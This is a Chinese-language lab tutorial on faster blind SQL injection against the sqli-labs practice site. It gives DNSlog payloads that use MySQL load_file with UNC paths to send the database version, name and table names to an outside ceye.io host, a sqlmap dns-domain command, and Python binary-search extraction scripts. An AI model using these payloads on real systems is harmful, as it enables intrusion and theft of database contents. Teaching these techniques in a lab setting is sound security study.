0x00:dnslog
参考:https://www.dazhuanlan.com/2019/12/26/5e04395da4936/
https://www.hackquan.com/hacker-technology/1451.html
dns注入原理
把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。
dnslog注入要求
1.web服务器操作系统必须为windows,因为UNC这个东西是windows特有的,关于UNC的解析如下
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式:servernamesharename
,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename
2.以mysql为例,数据库的load_file
函数必须可用,也就是数据库用户必须要有file_priv
权限
3.其次就是mysql的secure_file_priv
不为NULL,有些高版本的mysql中的secure_file_priv
默认为NULL
secure_file_priv
特性secure_file_priv
参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
配置方法:再数据库配置文件my.ini secure_file_priv=""
然后是要有一个自己的DNS服务器该DNS服务器的作用是用来接收DNS查询日志,从日志中获取dnslog注入的结果,这里我是用的是知道创宇的CEYE平台http://ceye.io/
注册之后便可接收dns注入的内容
0x01:测试
用sqli-labs-Less9 测试 时间盲注
dnslog payload
注:payload中的xxxx为你个人自己的地址
1'and (select load_file(concat('//',(select version()),'.xxxxx.ceye.io/abc')))%23 //数据库版本 1'and (select load_file(concat('//',(select database()),'.xxxxx.ceye.io/abc')))%23 //数据库名 1'and (select load_file(concat('//',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io/abc')))%23 //表名
正常提交即可,每一个payload都是 只需要等几秒(大概5、6秒),正常字符串遍历的话,一个数据库名大概要40-50秒
查看dns日志
十六进制直接转换为ASCII
使用dnslog进行盲注,速度是很快的,但是也有局限性.
1.网站必须运行在Windows平台上
2.MySQL中的secure_file_priv必须为空
3.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。
4.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。
5.sqlmap也提供了这种注入方法,参数:–dns-domain(有待测试)
必须要在管理员下运行,因为dns服务运行在特权端口53,必须要管理员权限 sqlmap支持dns回显注入 命令为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --tech B --dns-domain 192.168.0.18 --dbs
1.\\ 进行转义为 \,变成UNC格式,查询的数据需要转换为16进制,转化成能被dns正确处理的格式 类似URL编码~
2.mysql使用了load_file这个函数,需要账户是有读权限的
3.因为Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
4.这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。
0x02:二分法
参考:
https://blog.csdn.net/qq_43645782/article/details/105513532
测试:SQL-labs less-8 盲注,仅需 0-1秒
import requests import time import math def binarySearch(url,payload,start,end): left=start right=end while left<right: mid=math.floor((left+right)/2) xkey1=payload.format(str(mid)) target = url + xkey1 #print(target) response = requests.post(target) if "You" in response.text: left=mid+1 else: right=mid return int(left) def database_len(url): for i in range(20): payload = "?id=1%27and%20length(database())>{}%23" return binarySearch(url,payload,0,100) def database_name(url): #二分法 databasename = '' aa = database_len(url) for i in range(1, aa + 1): payload = "?id=1'and ascii(substr(database()," + str(i) + ",1))>{}%23" #print(payload) databasename += chr(binarySearch(url, payload, 32, 126)) return databasename
def main(): url = "http://127.0.0.1/sqli-labs-master/sqli-labs/Less-8/" datalen = database_len(url) print(datalen) result = database_name(url) print(result) if __name__ == '__main__': main()
正常的一个一个遍历需要6秒!
def getname(url): name = '' for i in range(1,9): for j in range(10,126): payload = "?id=1'and ascii(substr(database(),{0},1))={1}%23".format(str(i),str(j)) target = url+payload #print(target) r = requests.get(target) if "You" in r.text: name += chr(j) print(name)
0x03:二进制延时注入
参考:
https://www.hackquan.com/hacker-technology/1451.html
主要是说将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字
Done!